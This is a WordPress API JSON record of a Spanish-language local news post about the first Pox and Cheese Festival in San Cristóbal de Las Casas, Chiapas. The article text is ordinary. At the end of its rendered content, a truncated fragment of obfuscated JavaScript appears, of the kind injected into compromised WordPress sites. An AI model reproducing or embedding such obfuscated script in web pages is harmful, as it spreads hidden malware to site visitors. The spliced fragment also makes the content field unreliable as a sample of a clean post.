{"id":23204,"date":"2025-07-28T02:23:09","date_gmt":"2025-07-28T02:23:09","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=23204"},"modified":"2025-07-28T02:23:10","modified_gmt":"2025-07-28T02:23:10","slug":"con-exito-se-celebra-el-primer-festival-del-pox-y-del-queso","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=23204","title":{"rendered":"Con \u00e9xito se celebra el Primer Festival del Pox y del Queso"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"575\" height=\"1024\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694-575x1024.jpg\" alt=\"\" class=\"wp-image-23205\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694-575x1024.jpg 575w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694-168x300.jpg 168w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694-768x1369.jpg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694-862x1536.jpg 862w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/07\/1000247694.jpg 1149w\" sizes=\"auto, (max-width: 575px) 100vw, 575px\" \/><\/figure>\n\n\n\n<p>Yolanda Rodr\u00edguez\/ corresponsal<br>27 de julio del 2025. San Crist\u00f3bal de Las Casas.-El centro hist\u00f3rico de San Crist\u00f3bal de Las Casas se llen\u00f3 de color, m\u00fasica y tradici\u00f3n con la realizaci\u00f3n del Primer Festival del Pox y del Queso, un evento que reuni\u00f3 a cientos de personas en torno a dos de los productos m\u00e1s representativos de la regi\u00f3n: el pox tradicional y el queso artesanal.<\/p>\n\n\n\n<p>El festival ofreci\u00f3 una experiencia \u00fanica a trav\u00e9s de degustaciones, presentaciones folcl\u00f3ricas y exposiciones culturales, donde los asistentes pudieron conocer de cerca los procesos de elaboraci\u00f3n, historia y simbolismo de estos productos. El pox, considerado por muchas comunidades como una bebida espiritual, fue uno de los grandes protagonistas de la jornada, junto con la gran variedad de quesos elaborados por productores locales.<\/p>\n\n\n\n<p>La actividad se desarroll\u00f3 como parte de una estrategia para fortalecer la econom\u00eda de los peque\u00f1os productores, fomentar el consumo local y consolidar a San Crist\u00f3bal de Las Casas como un destino cultural y gastron\u00f3mico de primer nivel. El evento fue bien recibido por habitantes y visitantes, quienes recorrieron los espacios del festival disfrutando de un ambiente familiar y lleno de identidad chiapaneca.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Yolanda Rodr\u00edguez\/ corresponsal27 de julio del 2025. San Crist\u00f3bal de Las Casas.-El centro hist\u00f3rico de San Crist\u00f3bal de Las Casas se llen\u00f3 de color, m\u00fasica y tradici\u00f3n con la realizaci\u00f3n del Primer Festival del Pox y del Queso, un evento que reuni\u00f3 a cientos de personas en torno a dos de los productos m\u00e1s representativos &hellip;<\/p>\n","protected":false},"author":2,"featured_media":23205,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-23204","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-chiapas"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23204"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23204\/revisions"}],"predecessor-version":[{"id":23206,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/23204\/revisions\/23206"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/23205"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}